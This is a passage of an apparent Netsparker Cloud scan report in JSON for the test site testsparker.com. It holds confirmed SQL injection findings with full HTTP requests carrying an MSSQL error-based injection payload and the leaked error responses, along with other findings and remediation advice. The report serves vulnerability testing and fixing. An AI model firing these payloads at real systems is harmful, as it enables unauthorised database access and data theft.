deflate\r\n\r\n","Parameters":[{"Name":"pId","Type":"Querystring","Value":"(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":595.61660000000006,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4440\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:48:57 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n
\r\n
\r\n

\r\n

\r\n
\"Conversion
\r\n
\r\n

\r\n

Back to shop.

\r\n
\r\n
\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) \n\tapr 20 2015 17:29:27 \n\tcopyright (c) microsoft corporation\n\texpress edition (64-bit) on windows nt 6.3 &lt;x64> (build 9600: ) (hypervisor)\n

Identified Database Name

testsparker

Identified Database User

dbo
","Impact":"
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
","RemedialActions":"
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
","ExploitationSkills":"
There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.
","RemedialProcedure":"
A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/ConverterResponse.aspx","Type":"ConfirmedSqlInjection","Name":"SQL Injection","Severity":"Critical","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A1","Wasc":"19","Cwe":"89","Capec":"66","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /ConverterResponse.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: application/json, text/javascript, */*; q=0.01\r\nOrigin: http://testsparker.com\r\nReferer: http://testsparker.com/Converter.aspx\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nX-Requested-With: XMLHttpRequest\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 101\r\nContent-Type: application/json; charset=UTF-8\r\n\r\n{\"btcAmount\":\"(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)\"}","Parameters":[{"Name":"btcAmount","Type":"Json","Value":"(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":109.3827,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 903\r\nContent-Type: application/json; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:00:20 GMT\r\nCache-Control: private\r\n\r\nConversion failed when converting the varchar value '_!@2dilemma' to data type int. at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)\r\n at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)\r\n at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady)\r\n at System.Data.SqlClient.SqlDataReader.TryHasMoreRows(Boolean& moreRows)\r\n at System.Data.SqlClient.SqlDataReader.TryReadInternal(Boolean setTimeout, Boolean& more)\r\n at System.Data.SqlClient.SqlDataReader.Read()\r\n at UserControls_Vulnerabilities_converterResponse_AjaxJsonSqlInjection.Page_Load(Object sender, EventArgs e)"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) \n\tapr 20 2015 17:29:27 \n\tcopyright (c) microsoft corporation\n\texpress edition (64-bit) on windows nt 6.3 <x64> (build 9600: ) (hypervisor)\n

Identified Database Name

testsparker

Identified Database User

dbo
","Impact":"
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
","RemedialActions":"
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
","ExploitationSkills":"
There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.
","RemedialProcedure":"
A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/WS_search.asmx","Type":"ConfirmedSqlInjection","Name":"SQL Injection","Severity":"Critical","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A1","Wasc":"19","Cwe":"89","Capec":"66","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /WS_search.asmx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nSOAPAction: \"http://tempuri.org/GetEmployee\"\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 427\r\nContent-Type: text/xml; charset=utf-8\r\n\r\n\r\n\r\n \r\n \r\n (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)\r\n \r\n \r\n","Parameters":[{"Name":"/soap:Envelope[1]/soap:Body[1]/GetEmployee[1]/id[1]/text()[1]","Type":"SoapXml","Value":"(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":100.00410000000001,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 439\r\nContent-Type: text/xml; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:16:59 GMT\r\nCache-Control: private, max-age=0\r\n\r\nConversion failed when converting the varchar value '_!@2dilemma' to data type int."},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified an SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database.

Proof of Exploit

Identified Database Version

microsoft sql server 2014 - 12.0.4100.1 (x64) \n\tapr 20 2015 17:29:27 \n\tcopyright (c) microsoft corporation\n\texpress edition (64-bit) on windows nt 6.3 &lt;x64&gt; (build 9600: ) (hypervisor)\n

Identified Database Name

testsparker

Identified Database User

dbo
","Impact":"
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
","RemedialActions":"
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
","ExploitationSkills":"
There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.
","RemedialProcedure":"
A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns)","Type":"MsSqlIdentified","Name":"Database Detected (Microsoft SQL Server)","Severity":"Information","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Shop.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"pId","Type":"Querystring","Value":"(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":595.61660000000006,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4440\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:48:57 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n
\r\n
\r\n

\r\n

\r\n
\"Conversion
\r\n
\r\n

\r\n

Back to shop.

\r\n
\r\n
\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected the target website is using Microsoft SQL Server as its backend database.

This is generally not a security issue and is reported here for informational purposes only.

","Impact":"
This issue is reported as additional information only. There is no direct impact arising from this issue.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns)","Type":"DbConnectedAsAdmin","Name":"Database User Has Admin Privileges","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A5","Wasc":"14","Cwe":"267","Capec":"","Pci31":"6.5.6","Pci32":"6.5.6","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Shop.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"pId","Type":"Querystring","Value":"(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":595.61660000000006,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4440\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:48:57 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n
\r\n
\r\n

\r\n

\r\n
\"Conversion
\r\n
\r\n

\r\n

Back to shop.

\r\n
\r\n
\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected the database user has admin privileges.

This issue has been confirmed by checking the connection privileges via an identified SQL injection vulnerability in the application.

","Impact":"
This can allow an attacker to gain extra privileges via SQL injection attacks. Here is the list of attacks that the attacker might carry out:
  • Gain full access to the database server.
  • Gain a reverse shell to the database server and execute commands on the underlying operating system.
  • Access the database with full permissions, where it may be possible to read, update or delete arbitrary data from the database.
  • Depending on the platform and the database system user, an attacker might carry out a privilege escalation attack to gain administrator access to the target system.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"AspNetIdentified","Name":"ASP.NET Identified","Severity":"Information","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":187.5028,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; path=/; HttpOnly\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:21 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified that the target website is using ASP.NET as its web application framework.

This issue is reported as extra information only.

","Impact":"
This issue is reported as additional information only. There is no direct impact arising from this issue.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"AspNetVersionDisclosure","Name":"Version Disclosure (ASP.NET)","Severity":"Low","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"45","Cwe":"205","Capec":"170","Pci31":"","Pci32":"","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":187.5028,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; path=/; HttpOnly\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:21 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"ExtractedVersion","Value":"4.0.30319"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a version disclosure (ASP.NET) in target web server's HTTP response.

This information can help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of ASP.NET.

","Impact":"
An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Apply the following changes to your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
<System.Web>\n     <httpRuntime enableVersionHeader=\"false\" /> \n     <customErrors mode=\"On\" defaultRedirect=\"~/error/GeneralError.aspx\">\n          <error statusCode=\"403\" redirect=\"~/error/Forbidden.aspx\" />\n          <error statusCode=\"404\" redirect=\"~/error/PageNotFound.aspx\" />\n          <error statusCode=\"500\" redirect=\"~/error/InternalError.aspx\" />\n     </customErrors>\n</System.Web>\n
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/statics/","Type":"IisDirectoryListing","Name":"Directory Listing (IIS)","Severity":"Information","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A5","Wasc":"16","Cwe":"548","Capec":"127","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /statics/ HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":203.12460000000002,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 3400\r\nContent-Type: text/html; charset=UTF-8\r\nDate: Wed, 23 Aug 2017 07:43:26 GMT\r\n\r\ntestsparker.com - /statics/

testsparker.com - /statics/


\r\n\r\n
[To Parent Directory]

2/3/2017 10:01 AM 57491 1.jpg
2/3/2017 10:01 AM 32568 2.jpg
2/3/2017 10:01 AM 21974 3.JPG
2/3/2017 10:01 AM 1084 320x150.gif
2/3/2017 10:01 AM 162777 4.jpg
2/3/2017 10:01 AM 93054 5.jpg
2/3/2017 10:01 AM 3147 800x300.gif
2/3/2017 10:01 AM 343 _probot.gif
2/3/2017 10:01 AM 356 _protop.gif
2/3/2017 10:01 AM 52989 AgentJ.T.Roberts.jpg
2/3/2017 10:01 AM 28040 bitcoin.jpg
2/3/2017 10:01 AM 96127 Bitcoin_accepted_here_printable.png
2/3/2017 10:01 AM 99548 bootstrap.min.css
2/3/2017 10:01 AM 27822 bootstrap.min.js
2/3/2017 10:01 AM 1625 btnBuyNowPricing.gif
2/3/2017 10:01 AM 1464 btnBuyNowPricingBlue.gif
2/3/2017 10:01 AM 171936 chess.gif
2/3/2017 10:01 AM 479232 data.mdb
2/18/2016 7:09 AM <dir> download
2/3/2017 10:01 AM 1032 facebook.png
2/3/2017 10:01 AM 35263 GabrielShear.jpg
2/3/2017 10:01 AM 3424 gplus.png
2/3/2017 10:01 AM 31389 hacker.gif
2/3/2017 10:01 AM 50895 hacker2.gif
2/3/2017 10:01 AM 1386 help-konu1.html
2/3/2017 10:01 AM 582 help-konu2.html
2/3/2017 10:01 AM 243 help-yes.html
2/3/2017 10:01 AM 1227 linkedin.png
2/3/2017 10:01 AM 4516 logo.gif
2/3/2017 10:01 AM 14655 logo.png
2/3/2017 10:01 AM 621 pear.sh
2/3/2017 10:01 AM 1413 rss.png
2/3/2017 10:01 AM 42269 StanleyJobson.jpg
2/3/2017 10:01 AM 53 styles.css
2/3/2017 10:01 AM 1052 twitter.png
2/3/2017 10:01 AM 525 Web.config
2/3/2017 10:01 AM 206596 write-us.png
2/3/2017 10:01 AM 384 y.gif

"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a directory listing (IIS).

The web server responded with a list of files located in the target directory.

","Impact":"
An attacker can see the files located in the directory and could potentially access files which disclose sensitive information.
","RemedialActions":"
  1. Configure the web server to disallow directory listing requests.
  2. Ensure that the latest security patches have been applied to the web server and the current stable version of the software is in use.
","ExploitationSkills":"","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/statics/pear.sh","Type":"PossibleInternalUnixPathLeakage","Name":"[Possible] Internal Path Disclosure (*nix)","Severity":"Information","Certainty":60,"Confirmed":false,"State":"Present","Classification":{"Owasp":"","Wasc":"13","Cwe":"200","Capec":"118","Pci31":"","Pci32":"","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /statics/pear.sh HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/statics/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":89.2215,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 621\r\nLast-Modified: Fri, 03 Feb 2017 10:01:08 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: application/x-sh\r\nDate: Wed, 23 Aug 2017 07:43:43 GMT\r\nETag: \"08a867047ed21:0\"\r\n\r\n#!/bin/sh\n\n# first find which PHP binary to use\nif test \"x$PHP_PEAR_PHP_BIN\" != \"x\"; then\n PHP=\"$PHP_PEAR_PHP_BIN\"\nelse\n if test \"@php_bin@\" = '@'php_bin'@'; then\n PHP=php \n else\n PHP=\"@php_bin@\"\n fi\nfi\n\n# then look for the right pear include dir\nif test \"x$PHP_PEAR_INSTALL_DIR\" != \"x\"; then\n INCDIR=$PHP_PEAR_INSTALL_DIR\n INCARG=\"-d include_path=$PHP_PEAR_INSTALL_DIR\"\nelse\n if test \"@php_dir@\" = '@'php_dir'@'; then\n INCDIR=`dirname $0`\n INCARG=\"\" \n else\n INCDIR=\"@php_dir@\"\n INCARG=\"-d include_path=@php_dir@\"\n fi\nfi\n\nexec $PHP -C -q $INCARG -d output_buffering=1 $INCDIR/pearcmd.php \"$@\"\n"},"ExtraInformation":[{"Name":"IdentifiedInternalPaths","Value":"/bin/sh"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a possible internal path disclosure (*nix) in the document.

